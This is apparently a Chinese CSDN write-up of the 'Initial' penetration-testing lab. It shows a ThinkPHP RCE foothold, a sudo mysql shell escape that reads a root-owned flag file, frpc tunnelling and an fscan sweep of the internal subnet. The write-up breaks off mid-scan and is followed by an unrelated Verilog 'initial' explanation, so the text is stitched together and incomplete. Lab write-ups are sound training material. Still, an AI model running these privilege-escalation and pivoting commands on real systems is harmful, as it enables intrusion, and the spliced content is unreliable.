春秋云境—Initial

已于 2023-07-17 15:35:04 修改
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分类专栏： 春秋云境 文章标签： 网络安全 web安全
于 2023-07-15 14:16:31 首次发布
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本文链接：https://blog.csdn.net/longlangci/article/details/131738699
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本文详细介绍了春秋云境—Initial靶场的内网渗透过程，从WEB渗透开始，包括ThinkPHP RCE的检测与利用，蚁剑连接，sudo提权，frpc代理和fsacn扫描。接着深入后渗透阶段，讲解了信呼OA RCE的1.php木马和exp.py漏洞利用，以及永恒之蓝和DCSync技术，包括DCSync的原理、导出域内用户Hash、生成与导入黄金票据等关键步骤。
摘要由CSDN通过智能技术生成

文章目录

春秋云境—Initial

一、前期准备
1、靶标介绍

Initial是一套难度为简单的靶场环境，完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag，各部分位于不同的机器上。

2、相关设备
设备名称 IP地址
Web 39.98.120.156
172.22.1.15
XIAORANG-OA01 172.22.1.18
XIAORANG-WIN7 172.22.1.21
DC01 172.22.1.2
二、WEB渗透
1、ThinkPHP RCE
（1）、打开网站
http://39.98.120.156/

在这里插入图片描述

（2）、检测漏洞

在这里插入图片描述

2、蚁剑连接

在这里插入图片描述
在这里插入图片描述

3、sudo提权
(www-data:/tmp) $ sudo -l
(www-data:/tmp) $ sudo mysql -e '\! cat /root/flag/flag01.txt'

在这里插入图片描述

4、frpc代理
(www-data:/var/www/html) $ cd /tmp/
(www-data:/tmp) $ chmod +x frpc*
(www-data:/tmp) $ ./frpc -c ./frpc.ini
5、fsacn扫描
(www-data:/var/www/html) $ cd /tmp/
(www-data:/tmp) $ chmod +x fscan
(www-data:/tmp) $ ./fscan -h 172.22.1.0/24

172.22.1.2:445 open
172.22.1.2:135 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.18:80
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verilog initial
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Verilog `initial` is a keyword used to define a block of code that will be executed once at the beginning of the simulation. It is commonly used to initialize variables and perform any necessary setup tasks before the main simulation starts. The `initial` block runs concurrently with other procedural blocks in the design. Here's an example of how `initial` is used in Verilog: ```verilog module Example; reg clk; reg [7:0] count; initial begin clk = 0; count = 0; #10; // wait for 10 time units while(count < 8) begin #5; // wait for 5 time units count = count + 1; end $finish; // end simulation end always begin #1; // wait for 1 time unit clk = ~clk; end endmodule ``` In this example, the `initial` block initializes the `clk` and `count` variables. It then waits for 10 time units before entering a loop that increments `count` by 1 every 5 time units. Once `count` reaches 8, the simulation is ended using the `$finish` system function. The `always` block toggles the `clk` signal every 1 time unit. Note that `initial` blocks are not synthesizable and are only used for simulation purposes.
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